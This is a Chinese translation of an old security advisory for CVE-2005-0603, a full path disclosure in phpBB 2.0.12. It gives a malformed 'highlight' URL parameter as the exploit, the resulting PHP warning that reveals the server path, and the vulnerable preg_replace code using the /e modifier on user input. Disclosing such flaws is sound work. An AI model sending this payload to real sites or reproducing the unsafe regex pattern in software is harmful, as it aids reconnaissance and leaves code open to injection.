CVE-2005-0603-phpBB-2.0.12-Full-path-disclosure

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603

[N]eo [S]ecurity [T]eam [NST]® - 安全公告 #06 - 25/02/05

程序：phpBB 2.0.12 主页：http://www.phpbb.com 受影响版本：phpBB 2.0.12 及更低版本 风险：低风险!! 影响：完整路径泄露

  -==phpBB 2.0.12 完整路径泄露==-

• 描述

phpBB 是一个高性能、完全可扩展且高度可定制的开源论坛软件包。phpBB 拥有用户友好的界面、简单直接的管理面板以及有用的FAQ。基于强大的PHP服务器语言和您选择的MySQL、MS-SQL、PostgreSQL或Access/ODBC数据库服务器，phpBB 是所有网站的理想的免费社区解决方案。

• 测试

本地主机及多个论坛

• 漏洞利用

phpBB/viewtopic.php?p=6&highlight=[HaCkZaTaN]

会产生类似如下的输出：

Warning: Compilation failed: missing terminating ] for character class at offset 20 in /home/nst/forum/viewtopic.php(1110) : regexp code on line 1

这将导致完整路径泄露，我还注意到帖子内容会改变，不产生任何输出。 在 HighLight 变量中

问题如下： -----[ Start Vuln Code ] ------------------------------------

1106: if ($highlight_match) 1107: { 1108: // This was shamelessly 'borrowed' from volker at multiartstudio dot de 1109: // via php.net's annotated manual 1110: $message = str_replace('"', '"',
substr(preg_replace('#(>(((?>([^><]+|(?R)))*)<))#se', "preg_replace('#\b(" .
$highlight_match . ")\b#i', '<span style="color:#" . $theme['fontcolor3'] .
"">', '\0')", '>' . $message . '<'), 1, -1)); 1111: }